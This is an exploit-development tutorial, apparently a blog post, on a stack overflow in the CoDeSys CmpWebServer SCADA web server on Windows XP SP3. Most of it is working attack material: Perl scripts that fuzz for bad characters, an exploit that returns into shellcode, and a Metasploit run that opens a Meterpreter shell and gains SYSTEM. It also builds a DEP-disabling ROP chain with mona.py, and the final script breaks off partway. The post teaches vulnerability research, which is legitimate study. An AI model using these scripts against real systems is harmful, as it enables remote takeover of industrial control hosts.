Last post, we identified a stack-based overflow in 3S CoDeSys CmpWebServer and traced the steps necessary to obtain control over EIP. In order to do so, we needed to first circumvent stack cookies, which was achieved by abusing a call to memcpy() and overwriting the function call’s own return pointer. This post, we’ll pick up where we left off and learn how to spawn a shell on the remote host.
We’ll be working with the same setup as last time, targeting CoDeSys v3.4 SP4 Patch 2 running on Windows XP SP3. An important detail to note here is that while Windows XP SP3 implements DEP, it is by default only enabled on system-critical processes:
This means that the stack in our target application is free game and allows fully for a “traditional” overflow. Now, I don’t know about you, but I happen to find that incredibly lame. So, we’ll split the exploitation portion of this post into two sections. In the first section, we’ll take full advantage of the resources provided to us and spawn a shell using the traditional return-into-shellcode method. Since this series isn’t meant to be a simple walkthrough but instead a learning experience, in the second section we’ll spawn a shell again but instead enable DEP for the running application. This disallows us from simply overwriting the return pointer with a pointer to the stack, so we’ll have to first disable DEP using Return-Oriented Programming (ROP) and then return into arbitrary code.
When Good Bytes Go Bad
Before we proceed to writing the exploit itself, we must first identify any bad characters that might cause issue later on – This means any bytes that may either get filtered out, translate to different bytes, or break the exploit altogether. This is not typically a time-consuming task, but if many characters are filtered or manipulated by the program it can be tedious to identify exactly what is and isn’t allowed as input.
A quick and dirty way of approaching this is the “range method,” as suggested by the Metasploit development community. Instead of linearly enumerating a range of 256 bytes and manually (or semi-automatically) testing each byte individually, we instead provide a broader range of bytes in each attempt and systematically narrow it down to specific offenders, somewhat akin to a binary search.
We can whip up a quick script (using the structure of the PoC from last post) to test:
#!/usr/bin/perl
use IO::Socket;
if ( @ARGV < 1 ) {
print "Usage: $0 <target>";
}
$sock = new IO::Socket::INET(
PeerAddr => $ARGV[0],
PeerPort => 8080,
);
$badchars = "";
$badchars .= "GET /";
$badchars .= pack("C*", 0x00 .. 0x0f);
#$badchars .= pack("C*", 0x10 .. 0x1f);
#$badchars .= pack("C*", 0x20 .. 0x2f);
#$badchars .= pack("C*", 0x30 .. 0x3f);
#$badchars .= pack("C*", 0x40 .. 0x4f);
#$badchars .= pack("C*", 0x50 .. 0x5f);
#$badchars .= pack("C*", 0x60 .. 0x6f);
#$badchars .= pack("C*", 0x70 .. 0x7f);
#$badchars .= pack("C*", 0x80 .. 0x8f);
#$badchars .= pack("C*", 0x90 .. 0x9f);
#$badchars .= pack("C*", 0xa0 .. 0xaf);
#$badchars .= pack("C*", 0xb0 .. 0xbf);
#$badchars .= pack("C*", 0xc0 .. 0xcf);
#$badchars .= pack("C*", 0xd0 .. 0xdf);
#$badchars .= pack("C*", 0xe0 .. 0xef);
#$badchars .= pack("C*", 0xf0 .. 0xff);
$badchars .= "\\a HTTP/1.0\r\n\r\n";
print $sock $badchars;
Run the script against CoDeSys, and…
Well that’s interesting. Looks like none of our input was copied into the buffer, predictably due to the initial null byte. Since the section of code we’ve looked at thus far has used memcpy() as opposed to strcpy(), it’s reasonable to assume that string functions like strlen() are used at some point beforehand and are causing our buffer to terminate prematurely. We’ll add 0x00 to the list of bad chars and try again.
$badchars .= "GET /";
# Bad chars: "\x00"
$badchars .= pack("C*", 0x01 .. 0x0f);
Taking a look at the stack after the memcpy():
What the heck? Something else in the range must be causing issue. Let’s narrow the range:
$badchars .= pack("C*", 0x01 .. 0x09);
#$badchars .= pack("C*", 0x0a .. 0x0f);
And finally we have success:
If you look closely, though, notice that 0x09 was translated to 0x20, so we’ll add it to the list of bad chars as well.
To expedite the process and save time, we won’t detail the rest of the testing. Following the same steps as outlined above for the remaining bytes, we produce the final list of bad characters to avoid when writing our exploit:
0x00 (Null) - Breaks request
0x09 (Tab) - Translates to 0x20 (Space)
0x0a (Carriage Return) - Breaks request
0x23 (#) - Breaks request
0x25 (%) - Breaks request
0x3a (:) - Breaks request
0x3d (=) - Breaks request
0x3f (?) - Breaks request
0x5c (\) - Translates to 0x2f (/)
As we can see, most of the offending bytes are URL special characters. With more thorough testing and analysis we realize that, in actuality, some of the chars can be used if positioned correctly in the buffer, but to save potential frustration we’ll just blacklist them initially and consider their usage only if necessary.
SCADA Wars Episode 1 – The Shellcode Menace
Writing a traditional stack-based overflow is a rather straight-forward process when both DEP and ASLR are disabled/not implemented. Simply overwrite the return pointer on the stack with a pointer to your buffer, slide down an optional NOP sled, and execute your shellcode. Recall the script we wrote last post that obtained arbitrary control over EIP (cleaned up a bit to remove the no longer necessary cyclic pattern):
#!/usr/bin/perl
use IO::Socket;
if ( @ARGV < 1 ) {
print "Usage: $0 <target>";
}
$sock = new IO::Socket::INET(
PeerAddr => $ARGV[0],
PeerPort => 8080,
);
$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x0defaced); # Control over EIP
$exploit .= "A"x524;
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
$exploit .= "A"x463;
$exploit .= "\\a HTTP/1.0\r\n\r\n";
print $sock $exploit;
Running against the target web server, we observe an exception executing at our (invalid) return address:
At this point we’ll inspect the stack to learn the location of our buffer, noting the beginning address of the second string of “A”s where we’ll place our shellcode:
Updating our script to reflect this new information, as well as the inclusion of a benign payload for PoC:
#!/usr/bin/perl
use IO::Socket;
if ( @ARGV < 1 ) {
print "Usage: $0 <target>";
}
$sock = new IO::Socket::INET(
PeerAddr => $ARGV[0],
PeerPort => 8080,
);
# Windows XP SP3 EN Calc Shellcode 16 Bytes by John Leitch
$shellcode =
"\x31\xC9" . # xor ecx,ecx
"\x51" . # push ecx
"\x68\x63\x61\x6C\x63" . # push 0x636c6163
"\x54" . # push dword ptr esp
"\xB8\xC7\x93\xC2\x77" . # mov eax,0x77c293c7
"\xFF\xD0"; # call eax
$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x02cdfc2c); # Control over EIP, pointer to shellcode
$exploit .= "A"x524;
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
$exploit .= $shellcode;
$exploit .= "\\a HTTP/1.0\r\n\r\n";
print $sock $exploit;
And the result:
Cool. We’ve successfully exploited this version of CoDeSys on Windows XP SP3.
There are two issues with our current exploit, though. For the consideration of functionality, calc.exe is rather boring and doesn’t actually spawn us a shell. Additionally, for the consideration of elegance and standardization, it’s best not to write standalone exploit scripts such as the one above. To the rescue is the Metasploit Framework, which provides a very nice exploit development API, as well as a long list of payloads and encoding utilities to circumvent bad characters and potential IDS. Resultingly, as of revision bc9014e9, the CoDeSys CmpWebServer exploit module in Metasploit now possesses a target for v3.4 SP4 Patch 2 on Windows XP SP3. Let’s test it out:
msf > use exploit/windows/scada/codesys_web_server
msf exploit(codesys_web_server) > show options
Module options (exploit/windows/scada/codesys_web_server):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 8080 yes The target port
msf exploit(codesys_web_server) > set RHOST 172.16.66.128
RHOST => 172.16.66.128
msf exploit(codesys_web_server) > show targets
Exploit targets:
Id Name
-- ----
0 CoDeSys v2.3 on Windows XP SP3
1 CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3
msf exploit(codesys_web_server) > set TARGET 1
TARGET => 1
msf exploit(codesys_web_server) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(codesys_web_server) > exploit
[*] Started bind handler
[*] Trying target CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3...
[*] Sending stage (752128 bytes) to 172.16.66.128
[*] Meterpreter session 1 opened (172.16.66.1:60855 -> 172.16.66.128:4444) at 2012-01-14 03:31:41 -0500
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use Deprecated alias for 'load'
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
del Delete the specified file
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
SCADA Wars Episode 2 – Attack of the Stack
It’s very rare nowadays to approach a bug without the expectation of needing to bypass at least one or two exploit mitigation techniques. These memory protection mechanisms are most commonly a coupling of DEP and ASLR, but since we are targeting an older version of Windows, ASLR has not been implemented yet, and, as mentioned earlier, even though DEP has been implemented it is in fact disabled for all user applications by default, including CoDeSys.
To make things more interesting, let’s manually enable DEP and rewrite our exploit.
With the stack marked non-executable, we won’t be able to directly return into code we introduce in memory but instead have to rely on Return-Oriented Programming (ROP). By chaining together the tails of function calls (referred to as ROP gadgets), we can execute arbitrary code piece-by-piece, most commonly to achieve the end goal of disabling DEP and returning into shellcode.
Instead of writing one from scratch, we’ll begin with a DEP-disabling ROP chain from Corelan Team’s ROPdb and adapt it to our exploit. While the published chains are meant to function without alteration, we need to mind our list of bad chars and find replacement gadgets for any pointers affected. Comparing the chains in ROPdb with the list of loaded modules, it’s apparent that the only DLL with a readily available chain is advapi32.dll, which disables DEP by performing a call to the NtSetInformationProcess function:
Starting with the same base exploit structure as above, we’ll append the ROP chain and identify any offending pointers (denoted with a string of exclamation points):
#!/usr/bin/perl
use IO::Socket;
if ( @ARGV < 1 ) {
print "Usage: $0 <target>";
}
$sock = new IO::Socket::INET(
PeerAddr => $ARGV[0],
PeerPort => 8080,
);
$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x0defaced); # Control over EIP
$exploit .= "A"x524;
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
# advapi32.dll ntdll.ZwSetInformationProcess() chain by corelanc0d3r
# https://www.corelan.be/index.php/security/corelan-ropdb/
$exploit .= pack('V', 0x77e25c1f); # !!!!! # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x77e25c1f); # !!!!! # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77df563a); # !!!!! # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -> ESI
$exploit .= pack('V', 0xffffffff); # -> EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x77e25c1f); # !!!!! # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -> 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN
$exploit .= "\\a HTTP/1.0\r\n\r\n";
print $sock $exploit;
Not too bad; we only need to find replacements for two gadgets. We’ll use mona.py to generate a list of gadgets and go from there.
The script displays a great deal of debugging information to the console as well as some automatically generated DEP-disabling ROP chains of its own, but the actual results we’re looking for are in rop.txt under Immunity’s installation directory. It would be easy enough just to use the chains generated by the command, but as we can see there they make frequent use of our blacklisted characters:

The first replacement gadget we need to find is “pop eax; ret”. This is a fairly common instruction sequence since the x86 calling convention typically stores the return value in EAX, so we should have no issue finding a suitable replacement.
We’ll first grep for all “pop eax” gadgets whose address doesn’t start with a null byte:
$ grep "POP EAX" rop.txt | grep -v 0x00 | cut -d* -f1 | head
0x1000c0be : # PUSH ECX # PUSH EAX # POP EAX # POP ECX # POP EBP # POP ECX # POP EBX # RETN 04
0x1000c0bf : # PUSH EAX # POP EAX # POP ECX # POP EBP # POP ECX # POP EBX # RETN 04
0x1000654e : # POP EAX # POP ESI # RETN
0x10006590 : # POP EAX # POP ESI # RETN
0x10007bfb : # POP EAX # POP ESI # RETN
0x10007771 : # POP EAX # POP ESI # RETN
0x10007747 : # POP EAX # RETN
0x1000fd85 : # POP EAX # POP ESI # RETN
0x10007d59 : # POP EAX # POP ESI # RETN
0x10007697 : # POP EAX # RETN
Great, but so far every gadget still has a null byte in the address. Let’s restrict our search a little more to filter out all pointers starting with 0x1000:
$ grep "POP EAX" rop.txt | grep -v 0x00 | grep -v 0x1000 | cut -d* -f1
$
Interestingly enough, no suitable replacement gadgets exist in the results. One thing to note, though, is that mona.py defaults its ROP generation to non-OS modules (as well as non-ASLR and non-rebase), so we’ll have to broaden our scope a bit to find the gadget we need. Because the overall goal is to make exploits as universal as possible (working against a wide array of target systems and versions), it’s best to not use modules provided by the system itself since they have a high likelihood of changing between OS versions. However, we’ll take a hit here for the sake of getting a working PoC.
We’ll regenerate our list of ROP gadgets, this time restricting ourselves to the system DNSAPI.dll module by passing the -m flag to mona.py:
!mona rop -m DNSAPI.dll
This graces us with the following gadget list to search through:
$ grep "POP EAX" rop_dnsapi.txt | cut -d* -f1
0x76f3e0c8 : # ADD EBP,DWORD PTR DS:[EDX+57] # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10
0x76f3c976 : # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN
0x76f3c97e : # POP EAX # RETN
0x76f3e0ca : # PUSH EDI # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10
0x76f3e0cb : # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10
0x76f3c974 : # PUSH 3 # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN
0x76f3e0c9 : # PUSH 57 # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10
0x76f3c971 : # OR BYTE PTR SS:[EBP+8],DH # PUSH 3 # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN
0x76f3c973 : # OR BYTE PTR DS:[EDX+3],CH # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN
0x76f3c97c : # PUSH 0D # POP EAX # RETN
Perfect, the gadget at 0x76f3c97e will work fine. Update our ROP chain:
# advapi32.dll ntdll.ZwSetInformationProcess() chain by corelanc0d3r
# https://www.corelan.be/index.php/security/corelan-ropdb/
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77df563a); # !!!!! # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -> ESI
$exploit .= pack('V', 0xffffffff); # -> EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -> 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN
One last gadget we need to find a replacement for is “xchg eax, ebx; ret”. We’ll grep through rop.txt and see if there are any candidates:
$ grep "XCHG EAX,EBX" rop.txt | cut -d* -f1
0x0040fcb3 : # XCHG EAX,EBX # XOR EAX,E58B0000 # POP EBP # RETN
0x0040dab3 : # XCHG EAX,EBX # PUSH EDI # ADD BYTE PTR DS:[EAX],AL # MOV ESP,EBP # POP EBP # RETN
Bad luck. Looks like we’ll have to rely on a system module again. However, DNSAPI.dll doesn’t seem to have the gadget either:
$ grep "XCHG EAX,EBX" rop_dnsapi.txt | cut -d* -f1
$
Let’s generate a list of gadgets from the system SHELL32.dll module and see if something there will help us:
$ grep "XCHG EAX,EBX" rop_shell32.txt | cut -d* -f1 | head
0x7ca04919 : # XCHG EAX,EBX # SUB BH,DH # DEC ECX # RETN
0x7ca6f081 : # XCHG EAX,EBX # RETN 00
0x7cb4f687 : # XCHG EAX,EBX # ADD AX,3B00 # RETN
0x7ca7870a : # XCHG EAX,EBX # MOV EBP,17C # ADD BH,BH # ADC EAX,<&USER32.EndDialog> # XOR EAX,EAX # POP EBP # RETN 10
0x7ca17509 : # XCHG EAX,EBX # PUSH EAX # ADD EAX,DWORD PTR DS:[EAX] # POP EDI # XOR EAX,EAX # POP ESI # INC EAX # POP EBX # POP EBP # RETN 0C
0x7ca787d8 : # XCHG EAX,EBX # MOV EBP,17C # ADD BH,BH # ADC EAX,<&USER32.EndDialog> # MOV EAX,ESI # POP ESI # POP EBP # RETN 10
0x7ca11f36 : # XCHG EAX,EBX # OR AL,BYTE PTR DS:[EAX] # XOR EAX,EAX # RETN 04
0x7caab0cd : # XCHG EAX,EBX # POP ES # ADD BYTE PTR DS:[EBX],BH # RETN
0x7ca3ae19 : # XCHG EAX,EBX # ADD DWORD PTR DS:[EAX],EAX # ADD BYTE PTR DS:[EBX+5D5E5FC7],CL # RETN 04
0x7ca034ed : # XCHG EAX,EBX # SAHF # ADD AL,BYTE PTR DS:[EAX] # POP EDI # POP ESI # POP EBP # RETN 08
The gadget at 0x7ca6f081 will do perfectly. The 00 in “RETN 00” denotes the number of bytes the stack will by adjusted by upon return, which in this case is 0 and parallels the functionality of a “normal” return.
The question can be asked in this scenario, why is there such an instruction “ret 0” in the module if it’s the exact same as a “ret”? The answer is that the instruction isn’t actually meant to be there at all. The x86 architecture sports a number of properties favorable for exploit development, namely the fact that instructions are both variable-length and unaligned. x86 instructions aren’t always a defined length in memory, unlike ARM or MIPS whose instructions are always 2 or 4 bytes wide, so we can find a single useful opcode and disassemble backwards until we find an acceptable sequence of instructions. By being unaligned, we can execute instructions at any offset and are not restricted to returning into addresses that, for example, end in 0x0, 0x4, 0x8, or 0xc.
To demonstrate this, we’ll start by disassembling our gadget at 0x7ca6f081, where we see the desired instruction sequence:

However, by simply pressing the “up” button, our disassembly realigns to the program’s proper instruction alignment, and we see that these opcodes are actually part of a CALL:

Moving ahead, let’s update our ROP chain with the final replacement gadget:
# advapi32.dll ntdll.ZwSetInformationProcess() chain by corelanc0d3r
# https://www.corelan.be/index.php/security/corelan-ropdb/
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -> ESI
$exploit .= pack('V', 0xffffffff); # -> EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -> 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN
Now that our ROP chain is all set, we need to actually be able to execute it. The easy way to do this is to simply return into the first gadget upon gaining control over EIP. At the moment, we corrupt EIP with the value 0x0defaced, so it should be simple enough to just restructure our exploit and relocate the ROP chain in place of this dummy value. In order to prevent changes to stack offsets and addresses, we’ll store a placeholder where the ROP chain used to be to keep our input to the program the same length:
#!/usr/bin/perl
use IO::Socket;
if ( @ARGV < 1 ) {
print "Usage: $0 ";
}
$sock = new IO::Socket::INET(
PeerAddr => $ARGV[0],
PeerPort => 8080,
);
$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -> ESI
$exploit .= pack('V', 0xffffffff); # -> EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -> 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN
$exploit .= "A"x424;
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
$exploit .= "A"x104;
$exploit .= "\\a HTTP/1.0\r\n\r\n";
print $sock $exploit;
Now that we’ve disabled DEP, we need to execute our shellcode. This particular ROP chain will immediately transfer execution to the top of the stack after its completion, which can be observed by studying the last few gadgets.
At the time of the final gadget’s (“pushad; dec ebx; mov ebx, 0x33c233f6; ret”) execution, the function pointer we wish to call (NtSetInformationProcess) resides in EBP. By referencing the documentation of the PUSHAD instruction, we can see that EBP is pushed onto the stack sixth out of eight registers, placing it at offset 0x8 from the top of the stack:
ELSE (* OperandSize = 32, PUSHAD instruction *)
Temp := (ESP);
Push(EAX);
Push(ECX);
Push(EDX);
Push(EBX);
Push(Temp);
Push(EBP);
Push(ESI);
Push(EDI);
FI;

The next two instructions in the gadget (“dec ebx; mov ebx, 0x33c233f6”) are inconsequential and can be safely ignored. As we can see, the PUSHAD instruction also results in pushing the ESI and EDI registers above EBP on the stack, which both contain the pointer 0x77e3cb79.
This pointer is actually another gadget to be executed (twice), but unlike other gadgets which perform any number of potentially complex operations, this one is simply a single RET instruction:

This particular gadget is referred to as a “ROP NOP,” similar to how the NOP (No-OPeration) instruction in x86 simply “does nothing”. When utilized in a ROP chain, we can simply slide down the stack, returning into gadgets that “do nothing” until we reach an interesting pointer. In this case, we execute two ROP NOPs until we return into the NtSetInformationProcess pointer to disable DEP.
Upon completion of the function, we return into the next dword on the stack. Referencing the PUSHAD documentation once again, we see that the register pushed immediately before EBP was the value of ESP before the operation. This is excellent, because by returning into this value we transfer execution directly to stack memory adjacent to the ROP chain itself, which at the moment is just our placeholder of a bunch of “A”s:

All we have to do from this point is stash some shellcode immediately after the ROP chain and we’ll have our shell. We can grab a simple WinExec shellcode here. Update our exploit:
#!/usr/bin/perl
use IO::Socket;
if ( @ARGV < 1 ) {
print "Usage: $0 ";
}
$sock = new IO::Socket::INET(
PeerAddr => $ARGV[0],
PeerPort => 8080,
);
$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -> ESI
$exploit .= pack('V', 0xffffffff); # -> EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -> 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN
